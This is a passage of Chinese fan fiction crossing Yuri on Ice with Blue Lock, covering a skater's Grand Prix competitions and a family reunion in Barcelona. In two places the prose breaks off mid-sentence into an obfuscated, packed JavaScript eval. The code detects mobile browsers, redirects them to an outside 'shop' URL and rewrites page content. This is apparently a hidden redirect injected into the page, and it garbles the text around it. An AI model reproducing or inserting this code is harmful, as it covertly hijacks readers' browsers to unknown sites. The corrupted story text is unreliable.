千穗在旁边点点头。 “确实是我自己愿意来的。” 米拉看看她,又看看尤里,忽然笑了。 “你们两个,还真是一对训练狂。” 千穗和尤里对视一眼。 然后同时移开视线。 “谁跟他一对。”两人异口同声。 米拉笑得更开心了。 . 训练结束后,千穗坐在挡板边,掏出手机。 有几条未读消息。 有世一的,问她今天训练怎么样;有凛的,说冴哥昨天发消息问他近况了;还有一条—— 【Yodaka(备注纯前辈):大奖赛,加油】 千穗盯着这行字,愣了两秒。 ……真难得啊,居然再次收到了夜鹰纯给她发的加油。 她想了想,打字回复: 【Chiho:谢谢前辈】 【Chiho:你最近怎么样?】 对面沉默了很久。 久到千穗以为他不打算回复,正准备放下手机。 然后—— 【纯前辈:还行】 【纯前辈:你推荐的狼崎家,邀请我当教练,我答应了】 【纯前辈:你,大奖赛要拿金牌】 千穗看着那三条消息,忽然笑了。 嗯,他也终于碰上狼崎光了……“要拿金牌”是祝福吧?说得跟威胁一样,不愧是夜鹰纯。 【Chiho:知道了前辈~】 【夜鹰纯:嗯】 然后状态栏显示“对方已下线”。 千穗正要把手机收进口袋。 下一秒,莱莉的消息跳出来—— 【Riley(备注Fox小姐):法国站我也是金牌哦!】 【Fox小姐:你也要拿俄罗斯站金牌才行啊!】 千穗挑眉,自信回复: 【Chiho:那是当然的!你就放心等着吧!】 发送完,她没看回复,握着手机站起身,往更衣室走去。 … … 几天后比赛开始,依旧是男单先开始。 勇利和维克托再是一番波折后,短节目发挥十分出彩,获得了个人最佳分。 维克托还亲吻了勇利的冰鞋,两人算是感情升温了。 但尤里,短节目因为爷爷没来、还有一些其他原因,没调整好心态,以一种很不爽的情绪上场,节目前半段没发挥自己应有的水平。 ……第一个跳跃3A摔倒了。 所幸后半段调整成功。 最后猫耳发圈被尤里的粉丝扔出、恰好戴在他头上—— 千穗眼疾手快抓拍。 “尤里奥~看这里~” 等分区里,尤里依旧戴着那对黑色的猫耳发圈,坐姿豪放得像只占领了领地的猫科动物。他听见千穗的声音,下意识转头—— “咔嚓!” 千穗举着手机,笑得眼睛弯成两道月牙。 “炸毛猫呢!” “哈?!不准拍!” 尤里蹭地站起来,伸手就要抢手机。千穗早有准备,往后退了一步,把手机藏到身后。 “删掉!” “不要。” “删掉!” “不——要——” 两个人围着等分区的长椅绕起了圈。莉莉娅无奈地摇了摇头,雅科夫则是一副“我习惯了”的表情,继续盯着屏幕上的分数。 尤里追了两圈没追到,停下来瞪着她,蓝绿色的眼睛里燃烧着愤怒的火焰,但那对猫耳发圈还好好地戴在头上,配上他此刻的表情—— 千穗忍不住又举起手机。 “咔嚓!” “你——!” “好了,”莉莉娅终于开口,语气里带着点无奈的纵容,“分数快出来了。” 尤里这才恨恨地瞪了千穗一眼,坐回长椅上。 但耳朵—— 耳朵红透了。 千穗忍着笑,在他旁边坐下。 分数出来了。 短节目,尤里·普利赛提,98.09分。 暂列第二,但不是他的最佳分。 尤里盯着那个数字,沉默了两秒。 然后他“啧”了一声,把猫耳发圈从头上扯下来,攥在手心里。 千穗看着他。 “别这样。”她说,“后半段不是调整过来了吗?” 尤里没说话。 “而且,”千穗顿了顿,“你这个发型,配上那个猫耳,真的很可爱。” 尤里的脸瞬间涨红。 “谁、谁可爱啊!” “你啊。” “闭嘴!” 千穗笑起来。 站起身,拍了拍他的肩膀。 “走吧,去吃饭。自由滑比赛,你还有机会。” 尤里抬起头看她。 那双蓝绿色的眼睛里,有愤怒,有不甘,但更多的,是一团燃烧着的火。 “我当然知道。”他说,声音硬邦邦的,“不用你说。” 千穗点点头。 “那就好。” . 自由滑比赛前,一些其他人预想不到事发生了—— 维克托的贵宾犬马卡钦误食馒头被卡住,要做手术可能有生命危险,勇利让维克托回去陪马卡钦。 维克托将勇利拜托给雅科夫了。 比赛当天是尤里先出场。 他临时修改自由滑的动作。 前四个变两个、后半段变六个…… 第一个四周结束,第二个跳跃是3A。 然后是毫无喘息余地的魔鬼步伐。 而最可怕的,是节目进入后半段。 3Lz——落冰。 3F——落冰。 4T——落冰。 4S+3T——连跳,落冰。 3Lo+2T——落冰。 最后一个跳跃—— 3A+1Lo+3S。 本就极具难度、要求足够的技术和体力的连跳,他放在了最后。 冰刀切进冰面的瞬间,整个冰场都安静了。 然后,尤里滑出弧线,手臂展开,稳稳地停在冰面中央。 后半段的六个跳跃、包含三个连跳,他都无失误地完成了。 “……还说我是疯子,我看他才是呢。” 千穗待在莉莉娅旁边,不禁感叹。 . 千穗和莉莉娅陪尤里在K&C区等分。 总分297.96。 而勇利的自由滑节目开始了。 离开维克托,他的状态确实不是最佳。 前半段失误频出。 “哈啊?这个笨蛋炸猪排——”尤里在冰场边缘下意识恼火。 千穗却很淡定地拍了拍他的肩: “相信勇利君啦,他会调整好的。” “尤里,走了。”莉莉娅在一遍喊他。 “尤里奥先去换衣服吧。”千穗推了推他。 尤里难得没去管千穗的称呼,咬牙看了眼冰面上的勇利,“切”了一声。 . 而后半段,勇利完成了自我突破—— “3A+1Lo+3S、3Lz+3T……虽然最后一跳手碰冰面了,但真是的、都这么压榨自己的体力条嘛……” 千穗突然有点饿了。 一股莫名的食欲涌上来。 她啊,越来越期待女单的比赛了。 . 勇利最后俄罗斯站排名第四,作为积分第六进去大奖赛总决赛。 和原著一样,比赛结束后勇利拥抱了所有看见的人。 “啊啊啊啊啊你干什么?!” 尤里逃脱无能依旧被抱住。 “哎,我也要~”旁边千穗主动张开双臂。 两人也来了个拥抱。 千穗一脸慈祥地拍拍勇利的背:“勇利君终于有点前辈样了,后半段不是很棒嘛?” . 莫斯科的夜晚来得很快。 千穗裹着外套站在冰场门口,看着尤里气势汹汹地往外走。 “尤里奥——!” 她喊了一声。 尤里脚步一顿,回头看她,脸上的表情像是在说“叫我干嘛”。 “在找勇利吗?”她快步走上去,“我知道他在哪儿哦。” 尤里愣了一下。 “……你怎么知道?” “我也在找他啊,然后拜托别人注意了下他的行径。”——其实是让白鸦定位。 千穗假装拿出手机看了看,然后道:“他在街边哦。” 尤里“啧”了一声。 “那个炸猪排盖饭,到底在搞什么。” 千穗没说话,只是笑了笑。 两个人于是一同并肩向勇利的方向赶去。 街边的路灯把影子拉得很长,呼出的气变成白雾,在冷空气中散开。 尤里手里拎着一个袋子,是爷爷做的炸猪排皮罗什基面包。 他还给千穗塞了一个。 “你爷爷做的?”她问。 “嗯。”尤里闷闷地应了一声。 “好吃吗?” “……废话,我爷爷做的当然好吃。” 千穗笑起来。 “那一会儿我也要尝尝。” 尤里瞥她一眼,小声嘀咕:“本来这一袋就是要给你的。” . 街边围栏,一个身影趴在上面。 是胜生勇利,他低着头,不知道在想什么。 路上的汽车不断从他身边经过,车灯只能映照出一道影子。 看起来莫名的落寞。 尤里的脚步顿了一下。 然后他快步走过去。 “——你怎么在这种地方啊,炸猪排盖饭!” 尤里一个飞踹把没反应过来的勇利创倒。 “哦哦,很有动漫感呢。”千穗在后面鼓掌。 “尤、尤里奥……”勇利坐在地上一脸懵逼。 “你怎么回事啊,刚才那个恶心的拥抱算什么?” 尤里居高临下地看着他,语气格外不爽。 勇利张了张嘴不知道说什么。 “还有什么玩意儿啊你的自由滑!”尤里继续说,语气却越来越别扭,“你还可以拿维克托不在没法认真当借口!我可是状态完美还使出全力的个人最佳还是输给了JJ唉——” “炸猪排盖饭可没有比我更失落的资格!”尤里说,声音硬邦邦的。 勇利愣住了,抬头看着他。 尤里手里的袋子朝他扔了过来。 勇利下意识接住。 “送你了。”尤里别过脸去,“马上要生日了不是么。” “尤里奥在安慰勇利呢。”千穗在一旁拿着另一袋面包走上前,“勇利快拆开看看看~” “啰嗦!”尤里的脸瞬间涨红,却还要转头瞪她一眼。 勇利下意识低头,拆开。 “嗯?皮罗什基?” “勇利快尝一口哦。”千穗也拆开自己手上的袋子。 “欸,在这里?”勇利疑惑。 “吃啊你!”尤里大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326698|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声催他。 “噢噢。” 勇利连忙起身,拿起面包咬了一口,嚼了两下,“嗯?” 他表情逐渐变得微妙。 “这个里面还有米饭…” “嗯!”同步吃面包的千穗点头。 “还有炸猪排和鸡蛋……是炸猪排盖饭!” 千穗:“嗯嗯!” “没错!”尤里笑起来,“我爷爷亲手做的,超好吃的吧!” 勇利也笑起来,大口咀嚼面包: “嗯,Вкусно(好吃)!” “我也觉得——超好吃!”千穗举起双手,跟着超大声道。 尤里:“没问你啦!” … … 女单比赛,千穗的短节目还是《Agape》。 与在中国站不同,这次为了更贴合演绎,她请莉莉娅用一次性染发剂帮她染了白发。 脱下外套,千穗踏上冰面。 灯光从头顶倾泻下来,冰面泛着冷白色的光。她滑向中央,在起点位置站定,摆好开场姿势。 观众席安静下来。 音乐响起。 《Agape》。 但今天不一样。 今天的她,白发的她。 一次性染发剂把她的黑发染成了纯白色,在灯光下泛着柔和的光。配上那套白底金纹的考斯滕、背部的羽毛设计、头顶的纯金桂冠—— 她站在冰面中央,像一尊从神话中走出来的雕塑。 观众席传来一阵轻轻的吸气声。 然后千穗动了。 . 冰刀切过冰面的声音,沙沙的,像风穿过羽毛。 她的身体随着音乐起伏,每一个动作都像是在诉说——诉说被爱的感觉,诉说承载着这份爱的重量,诉说站在这里的意义。 第一个跳跃是3A。 起跳的瞬间,千丝万缕的灯光追逐着吻过她白色的发丝。腾空时裙摆绽开,像一朵盛开的白玫瑰。落冰的瞬间,冰刀切进冰面宛若敲响水晶,溅起的冰屑在灯光下闪烁,像是洒向空中的碎钻。 观众席爆发出掌声。 但千穗没停下来听。 她如飞鸟般飘然地在冰上翱翔。 进入FCSp,跳接燕式旋转。她把自己转成一个模糊的影子,旋转的速度由慢到快,定格在音乐进入主旋律的瞬间。冰面上的冰屑被她的冰刀带起,在旋转中形成一圈淡淡的光晕。 3Lz+3T,勾手三周接后外点冰三周。起跳的高度比平时还高一点,落冰稳得像钉子钉在冰面上,连滑出的弧线都比平时长了几分。 等到接续步,伴随节奏的流动,她的冰刀切过冰面,绘制画卷。 不是那种炫技式的复杂步法,而是更内敛的、更优雅的流动。 她的身体随着弦乐的起伏轻轻摇曳,冰刀在冰面上画出一个个完美的弧线——那些弧线交叉、重叠、延展,像一幅正在展开的画卷。每一次转体都恰到好处,每一个姿势都像是被精心计算过,却又带着浑然天成的流畅。 灯光眷恋着她白色的发丝,在滑行中留下淡淡的光痕。 她的手臂缓缓抬起,指尖划过空气,像是在触碰什么看不见的东西。那一刻,她不是在做技术动作,而是在用身体写诗——一首关于被爱的诗。 观众席安静得只剩下呼吸声。 没有人想打破这一刻。 然后—— 3F。 飞利浦三周。 起跳的瞬间,她的身体轻盈得像一片羽毛。空中三圈转完,落冰的瞬间那声音清脆得像风铃。她滑出弧线,手臂缓缓展开,裙摆在离心力下绽开又收拢,如昙花一现。 完美落冰。 她微微抬起下巴,眼神扫过观众席。 那眼神里没有挑衅,没有诱惑,只有一种平静的笃定——像站在高处的天使,俯瞰着人间,却不带任何居高临下的意味,只是静静地、温柔地看着。 接下来是旋转。 CCoSp,换足联合旋转。 她把自己转成一个模糊的影子,只看见裙摆的金边飞舞。换足的瞬间干净利落,仿佛从未有过停顿。旋转的速度由慢到快,又由快到慢,像是在诉说什么故事。 然后是LSp,躬身转。 她的身体向后弯成一道优雅的弧线,头微微后仰,一只手轻轻抬起,指尖指向天空的方向。裙摆随着旋转绽开,在灯光下泛着柔和的光。 那一刻,她像一只正在收翅的天使。 不,不是“像”。 她就是。 冰面上的冰屑被她带起,在旋转中形成一圈淡淡的光晕。那些细碎的冰晶在灯光下闪烁,像是散落空中的透明宝石,又像是天使翅膀上抖落的羽毛。 她转着,转着,转着—— 像八音盒里的小人。 那种精致、脆弱、永恒的美。 旋转的速度慢下来,慢下来,最后定格在音乐最后一个音落下的瞬间。 冰场安静了一秒。 然后—— 掌声。 洁千穗站在冰面中央,胸口剧烈起伏,汗从额角滑下来,滴在冰面上。 她的白发有些乱了,但那顶纯金的桂冠还好好地戴在头上,在灯光下闪闪发光。 观众席沸腾着、她熟悉的、如潮的掌声与欢呼响起。 千穗看着那些雀跃兴奋的人们,不禁露出微笑。 然后她弯下腰,把手放在冰面上。 冷的。 永远是冷的。 但她永远觉得、刚刚好。 . Kiss&Cry区。 雅科夫把外套披在她肩上,什么都没说,只是拍了拍她的背。 莉莉娅站在旁边,看着她,眼神里带着某种复杂的情绪。 “……很美。”她轻声说,“千穗,你很美。” 千穗愣了一下。 然后她笑了。 “谢谢莉莉娅。” …… 千穗的短节目是第一。 而融入探戈元素的自由滑,是更契合《EROS》主题的表演——她也逐渐找到感觉了。 因此,她依旧是金牌得主。 “……真是可怕的15岁啊。”领奖台,站在千穗旁边的萨拉.克里斯皮诺忍不住感慨。 “千穗可是早就说了要赢过我们这些前辈啊。” 米拉站在千穗另一边,语气有点不甘,但更多的是敬佩。 “全是金牌,比尤里还可怕啊。” “谢谢米拉和萨拉的夸奖~”千穗坦然。 “拿了第一连前辈都不叫了吗?真是得意忘形啊,别忘了莱莉可是和你积分并列地进入总决赛哦。”米拉故作抱怨,实则提醒她不要大意。 “我当然知道这个啦,我可是超期待和莱莉的比赛呢!” 21. 酒店 成年组大奖赛的总决赛在巴塞罗那举办。 且恰好赶上圣诞节呢。 洁千穗一下飞机就特别兴奋。 原因嘛…… “欧内酱——” 她刚到机场大厅,就看见弟弟洁世一边跑向她边招手大喊。 后面是一脸慈祥的父母和板着脸的糸师凛。 “世一!”千穗很自然地和弟弟拥抱。 然后抬头,笑着揉他的脑袋:“哎呀呀一个多月没见了呢,好想你哦。” “我也想姐姐了!我可是每天都有给姐姐发消息!”世一眼睛亮晶晶的。 “是的是的,我每天都有看哦。”千穗捏了捏他的脸。 “可是姐姐回得都好短。”他不满地抱怨起来。 “训练忙嘛。” 姐弟俩正在聊天,洁父洁母已经走到了近前。 “千穗。”洁母上下打量她,“瘦了?” 她因为了解有些女单发育期会靠节食来应对,所以总担心千穗是不是也这样。 “没瘦没瘦。”千穗赶紧否认,“宁宁姐盯着我吃饭呢,一顿都没落下。” 洁母将信将疑地看着她,但没再说什么,只是伸手帮她整理了一下衣领。 洁父笑呵呵地站在旁边,也不插话,就看着妻女互动。 千穗的视线越过父母,落在后面那个墨绿色头发的身影上。 糸师凛站在那里,双手插在口袋里,表情一如既往地板着——但仔细看,那双眼睛正在偷偷往这边瞟。 “凛!” 千穗冲他招手。 凛愣了一下,然后板着脸走过来。 走到她面前,站定。 “凛酱好久不见~”千穗仰着头看他——真的得仰着头了,这孩子怎么长的? 凛低头看着她,嘴唇动了动,似乎想说什么,但又憋了回去。 千穗等了等,没等到。 “不抱一下吗?” 凛的脸以肉眼可见的速度涨红。 “我、我又不是世一!” “那握手?” 凛:“……” 他伸出手。 千穗握住他的手晃了晃,然后趁他不注意,往下一拉—— “低头。” 凛下意识照做,结果脑袋上就多了一只手。 千穗揉了揉他的头发——手感还挺好,墨绿色的发丝软软的,比小时候稍微硬了一点,但还是很好揉。 “千、千穗姐!” “嗯嗯,凛酱长高了好多啊。”千穗笑眯眯地又揉了两把,“比世一高半个头了——说不定比冴还高呢。” 凛愣了一下。 “比冴哥高?”他的声音里带着点不确定。 “目测哦。”千穗比划了一下,“冴上次见我的时候,好像也就比我高一个头多一点——你现在看着也比我高一个头呢。” 凛沉默了两秒。 然后他抿了抿嘴,表情还是板着的,但眼睛里的光明显亮了一点。 “……我没量过。” “那回头见了面,你站一起比比看?” 凛没说话,但那耳朵尖悄悄红了。 千穗看着他那别扭又藏不住情绪的样子,在心里无奈。 这孩子,现在还是很崇拜他哥呢,真不知道雪夜决裂是怎么搞的…… “对了,”她收回手,“你哥知道你要来吗?” 凛点点头。 “他前天发的消息,说比赛结束一起吃饭。” “那挺好。”千穗满意地点头,“刚好我比赛完了也没什么事,可以一起——” 她话还没说完,身后传来一个不耐烦的声音。 “喂——你还走不走了?” 千穗回头。 尤里站在几步开外,双手插在黑色外套的口袋里,金色的头发在机场的灯光下格外显眼。他表情拽得很,但那双蓝绿色的眼睛正往这边瞟——明显是在看凛。 “这就走这就走。”千穗冲他挥挥手,“宁宁姐呢?” “和雅科夫他们先出去了。”尤里说,“让我叫你快点。” “哦,那正好。”千穗转身看向父母,“爸妈,你们订的酒店是哪个?” “就是你们那家。”洁母说,“打听过了,你们选手都住那里,我们也就订了。” 千穗眨眨眼。 “你们怎么打听到的?” “网上查的啊。”洁母理所当然地说,“还有粉丝论坛里也有人分享攻略,说是比赛期间选手一般都住哪些酒店,然后有人查到了协会指定的酒店。” 千穗:“……” 粉丝论坛。 攻略。 她忽然有点恍惚。 自己已经是有粉丝论坛的人了吗? 旁边的世一凑过来,小声说:“姐姐,我看了那个论坛,里面好多你的照片!还有人说你是‘冰上的天使’!” 千穗:“……” “还有人说你的《Agape》看得她哭了!” 千穗:“……” 她深吸一口气。 “行吧。”她说,“那咱们一起走吧,宁宁姐和尤里他们应该在外面等着。” . 一行人拖着行李往外走。 刚出机场大厅,千穗就看见了那群人。 不是雅科夫他们。 是另一群人。 举着应援牌、横幅、还有各种自制周边的一群人。 有男有女,不同国家面孔,看见她出来,立刻沸腾了。 “千穗大人——!” “Chiho——!” “是本人!真的是本人!” “啊啊啊啊千穗选手看这边——!” 千穗脚步一顿。 洁世一站在她旁边,整个人都愣住了。 “姐、姐姐……这是?” “粉丝。”千穗的语气很平静,但嘴角忍不住弯起来,“我的粉丝。” 洁世一呆呆地看着那群人。 应援牌上写着各种文字——日语的、西班牙语的、英语的、还有他看不懂的其他语言。横幅上印着她的照片,还有巨大的“#Chihofam”字样。 有人举着她比赛时的照片,有人拿着她代言的周边,还有人手里捧着各色的花、白色的乌鸦玩偶。 “……好多人啊。”世一喃喃。 千穗拍了拍他的肩膀。 “等我一下。” 她走上前,粉丝们立刻安静下来,但眼睛都亮晶晶的。 千穗笑了笑。 “谢谢大家来接我。”她说,“合影可以,但是——” 她顿了顿,看向身后不远处的父母和凛。 “我的家人和朋友也在,请大家不要把他们拍进去,可以吗?” 粉丝们立刻点头。 “当然当然!” “我们懂的!” “不会拍的!” 千穗满意地点点头。 然后她眨了眨眼,弯起嘴角,做了个俏皮的手势: “还有,希望大家替我给今天的行程保密哦~” 粉丝群里爆发出一阵压抑的尖叫。 “啊啊啊啊好的!” “千穗大人太可爱了!” “绝对保密!谁泄露谁是叛徒!” “她对我wink了!她对我wink了!” “是对我们所有人!” 千穗笑着和他们合了几张影,又签了几个名,才挥挥手道别。 走回家人身边时,世一还愣在原地。 “……姐姐。”他说,声音有点飘,“你平时都是这样的吗?” “也不是。”千穗想了想,“一般是比赛前后才会有粉丝接机,平时还好。” 世一沉默了两秒。 然后他认真地说:“姐姐好受欢迎啊。” 千穗看了他一眼。 这孩子,第一次直观感受到姐姐的粉丝力吗? 她笑着揉了揉他的脑袋。 “走吧,去酒店。” . 一行人往外走。 洁父洁母推着行李走在前面,千穗和世一并肩,凛跟在旁边。 走出几步,千穗忽然想起什么,回头看了一眼。 尤里站在不远处,双手插在口袋里,表情依旧拽得很。 但他身边—— 米拉不知道什么时候冒出来了,正拉着他说什么。雅科夫和莉莉娅走在最前面,偶尔交换几句俄语。 而更远处,那群粉丝还站在原地,朝她挥手。 千穗收回视线。 巴塞罗那的阳光很好,洒在身上暖洋洋的。 “走吧。”她说。 . 去酒店的路上,世一一直在刷手机。 “姐姐,论坛里有人说在机场见到你了!” “嗯。” “还有人发了照片!但是没有我们!” “嗯。” “他们说你是‘冰上的天使’,还有人说你是‘纯白羽翼的飞鸟’——好像是因为俄罗斯站的短节目。” 千穗略有点羞耻了。 “粉丝就是这样,好会夸的。” “嗯嗯,但我觉得她们说得好对!”世一点点头,全肯定并继续刷论坛,“还有人说你刚才那个wink太可爱了,截图做成了表情包!” 千穗:“……” 旁边的凛发出一声很轻的笑。 千穗瞪他一眼。 凛立刻板起脸,假装什么都没发生。 但那双眼睛里,分明带着笑意。 千穗看着他,一想到两年后他就变成地雷系男子了,略有点可惜。 不过这次都和世一是幼驯染了,总不会搞得像原著那样关系扭曲了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326699|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? . 到酒店的时候,北野宁宁已经在门口等着了。 “千穗,房间办好了。”她把房卡递过来,“御影太太给你升了总统套房,在顶层。” 千穗愣了一下。 “御影太太……总统套房?” “嗯。”北野宁宁点点头,“御影太太说你是她最喜欢的选手,赞助是应该的,而且她儿子最近也喜欢上足球了,和你弟弟差不多大——” 她顿了顿,看向洁世一。 “说不定以后还能认识呢。” 千穗:“……” 御影太太,就是那个经常给她送礼物、在论坛里特别活跃、拉着全家人入坑的富豪粉丝(貌似是妈粉),还通过迹部等人加了她的联系方式聊过天来着,了解她的一些情况。 她知道对方是御影玲王的母亲来着,但这个“说不定以后还能认识”应该不是她想的那个意思。 不过御影太太这次居然给她升了总统套房嘛…… “那个……”她顿了顿,“我能让家人一起住吗?” “当然可以。”北野宁宁说,“总统套房有好几个房间,住你们一家绰绰有余——糸师凛也可以一起,反正都是认识的孩子。” 凛愣了一下。 “我?” “嗯。”北野宁宁点点头,“你哥哥那边我会联系,告诉他你住在哪里。” 作为合格的经纪人,她可是十分了解千穗及其身边人的人际关系。 凛沉默了两秒。 然后他小声说:“……谢谢。” 千穗看着他,嘴角弯起来。 嘛,珍贵的小猫赏味期呢~ . 电梯里,世一还在刷手机。 “姐姐,”他忽然说,“论坛里有人说,莱莉也到了。” 千穗愣了一下。 “什么时候?” “就刚才。”世一递过手机,“有人发了照片,说在另一个航站楼看到的。” 千穗接过手机。 照片上是一个金发少女,穿着简单的白色卫衣,戴着墨镜,正拖着行李箱往外走。 莱莉·福克斯。 十六岁就拿下冬奥冠军,即将年满十八岁,是成年组女单唯二的四周跳选手——至少目前是。 也是她这次总决赛最大的对手。 千穗盯着那张照片看了两秒。 然后她把手机还给世一。 “知道了。” 世一眨眨眼。 “姐姐不紧张吗?” “紧张什么?” “那可是莱莉·福克斯啊。”世一说,“奥运冠军。” 千穗看了他一眼。 “我的目标也是奥运冠军啊。” 世一愣了愣。 “而且,”千穗顿了顿,嘴角弯起来,“我已经和她约好了——要在总决赛赢她。” 世一的眼睛瞪大了。 “姐姐和莱莉约好了?!” “嗯。” “什么时候?!” “就前段时间,加了联系方式之后。” 世一盯着她看了两秒。 然后他露出了那种“我姐姐好厉害”的表情,眼睛亮晶晶的。 “那姐姐一定要赢啊!” “当然。” 电梯门开了。 顶层到了。 千穗走出电梯,回头看了一眼。 凛跟在后面,表情依旧板着,但那双眼睛正看着她。 “怎么了?” “……没什么。”凛移开视线。 千穗笑了笑,没再问。 . 总统套房比想象中还要大。 落地窗外是巴塞罗那的城市景观,远处的圣家堂在阳光下闪闪发光。 洁母四处看了看,满意地点点头。 “不错,比我们家还大。” “毕竟是总统套房啊。”洁父笑呵呵地让工作人员把行李放好,自己走到窗边看风景。 世一已经瘫在沙发上了。 凛站在门口,有些局促。 千穗走过去,拍了拍他的肩膀。 “随便坐,别拘束。” 凛点点头,但还是没动。 千穗看他这样,想了想,掏出手机。 “你哥那边,我发个消息。” 凛的眼睛立刻亮了一下。 她笑了笑,开始打字。 【Chiho:到酒店了,凛和我一起住总统套房,我粉丝太太给升的】 【Chiho:你那边训练结束了吗?】 发完之后,她等了一会儿。 对面没回复。 可能是还在训练吧。 千穗把手机收进口袋,转身看向窗外。 巴塞罗那的阳光真好。 总决赛。 她准备好了。 22. 圣诞 到达巴塞罗那的第一天,洁千穗和故乡来的家人朋友一起度过。 后面几天,她和爸妈说好了,让难得出国的他们享受一下二人世界,她训练结束会带着洁世一和糸师凛去接从马德里赶来的糸师冴的(千穗训练时俩学生先写作业,尤其是小升初的凛要准备考试)。 可以说,千穗难得没加练呢—— 冰场里的灯光还亮着,雅科夫正在给米拉讲解什么,尤里刚从冰上下来,看见她收拾东西准备离开,愣了一下。 “你今天不继续练了?” “不了。”千穗把冰鞋装进包里,拉上拉链,“有事。” 尤里皱起眉,那双蓝绿色的眼睛里写满了疑惑。 有事?什么事比赛前训练重要? 但他没问。 只是“哦”了一声,然后别过脸去,语气有点硬邦邦的。 “……后天比赛,别乱跑。” 千穗笑了一下。 “知道了,尤拉奇卡。” 尤里的耳朵红了。 “谁让你这么叫的!” 但千穗已经背着包走出去了。 . 巴塞罗那的傍晚很美。 夕阳把城市的建筑染成暖橙色,街上到处都是圣诞节的装饰,橱窗里摆着闪闪发光的圣诞树,偶尔有小孩举着气球跑过。 洁世一和糸师凛并肩走在千穗前面。 世一背着个双肩包,里面装着作业——虽然他说要在车上写,但千穗怀疑他根本写不完。凛走在他旁边,表情一如既往地板着,但眼睛一直在看周围的街景。 “姐姐,”世一回头,“冴哥几点到?” “六点二十。”千穗看了眼手机,“还有二十分钟。” “那我们要快点走!” 世一拉着凛往前跑了两步,然后又停下来等千穗。 千穗看着他那看上去比凛还期待见到冴样子,忍不住笑了。 “倒也不用那么着急啦,冴都多大的人了,待在那边又不会丢。” . 车站的人很多。 圣诞节前夕,到处都是拖着行李的旅客,有情侣相拥告别,有家庭匆匆赶路,有小孩举着冰淇淋从人群中穿过。 千穗找了个稍微空一点的地方站着,世一和凛一左一右站在她旁边。 “凛,你别紧张。”世一说,“又不是没见过冴哥。” “我没紧张。”凛的声音硬邦邦的。 “那你手怎么攥那么紧?” “冷的。” “哎,我怎么不记得你是怕冷的体质?” 凛瞪他一眼。 世一耸耸肩,不再说话。 千穗在旁边看着这两个小少年斗嘴,觉得挺有意思。 . 六点二十三分。 人群中出现了一个熟悉的身影。 小豆色的头发,浅褐色外套,肩上背着一个运动包,手里拖着个行李箱。 糸师冴。 他走得不算快,但每一步都很稳,目光在人群中扫过,很快就锁定了他们的位置。 千穗抬起手,挥了挥。 冴看见她,脚步顿了一下。 然后他走过来,在她面前站定。 “……好久不见。” 千穗点点头,上下打量他一眼。 “感觉你好像瘦了。” “没有,只是长高了。” “还有点黑了。” “我有注意防晒。” “看着更面瘫了。” 冴没说话,只是看着她。 千穗弯起眼睛。 “呐,圣诞快乐~” 冴的嘴角动了动、极小幅度地笑了一下。 “嗯,圣诞快乐。” 旁边,世一已经忍不住了。 “冴哥!” 他冲上去,但没敢抱——毕竟冴不是姐姐——只是站在他面前,眼睛亮晶晶地看着他。 冴转头看了他一眼。 “……长高了。” “嗯!”世一使劲点头,“我现在比姐姐高半个头了!” “嗯。” 世一等着他多说两句。 但冴已经把视线转向了站在两步开外的凛。 凛站在那里,手攥着衣角,露出那种只有在兄长面前才会有的表情。 “尼酱,好久不见!” 冴看着他,似乎想说什么。 凛也看着他,等待他说话。 然而冴沉默了两秒,伸出手,在他脑袋上拍了一下。 轻轻的。 “走吧。” 凛有点困惑,但还是应了一声“嗯”。 糸师冴走最前面,凛几步跟上。 千穗和世一并肩跟着两兄弟后面,笑着和世一咬耳朵:“凛现在好像真的比冴要高了呢~” “嗯嗯!” 世一点头,有点羡慕地抱怨,“明明是同龄人,我还比凛大,他怎么能长这么高啊……” . 回酒店的路上,千穗给冴简单介绍了一下情况。 “……所以你要和凛一起住吗?” “好。”冴点点头,“麻烦了。” “我还好,真正麻烦的是御影太太,这次太感谢她了~”千穗真心实意感激道。 冴没接话。 但千穗注意到,他的目光在自己身上停了一下。 “……怎么了?” “没什么。” 千穗狐疑地看着他。 这人,一定在想什么。 但她没问。 . 晚饭是在酒店附近的一家西班牙餐厅吃的。 千穗点了几道招牌菜,海鲜饭、火腿、炸鱿鱼圈,还有几份Tapas。 世一吃得津津有味,凛则全程很克制,吃相端正得像是在参加什么正式场合、速度却不慢,几分钟就清完一盘菜。 冴吃得不多,但一直在看千穗。 千穗被他看得有点不自在。 “你看什么?” “……没什么。” “那你别看了。” 冴收回视线,继续吃。 但过了两秒,他又抬起头。 “明天训练?” “赛前最后一天,上午训练完就自由活动让选手自己放松了。”千穗说,“怎么?” 冴没回答。 旁边的世一倒是积极。 “姐姐!那我们明天一起去逛街吧!” 千穗愣了一下。 “逛街?” “对啊!”世一点点头,“难得来巴塞罗那,我想看看这里的风景!而且冴哥也在,可以和我们一起逛!” 千穗看向冴。 冴没说话,但微微点了点头。 她又看向凛。 凛正低着头吃海鲜饭,但那耳朵尖悄悄竖着。 千穗想了想。 明天上午训练,下午确实没事…… “行。”她说,“那明天下午一起逛。” 世一的眼睛亮了。 “太好了!” 凛也下意识笑起来。 千穗看着当前乐观开朗的俩小孩,暗自唏嘘。 . 第二天上午,训练结束后,千穗回到酒店换衣服。 世一已经准备好了,背着那个双肩包,手里还拿着个相机。 “姐姐!我们出发吧!” “嗯。”千穗点点头,看向旁边的凛,“凛呢?” 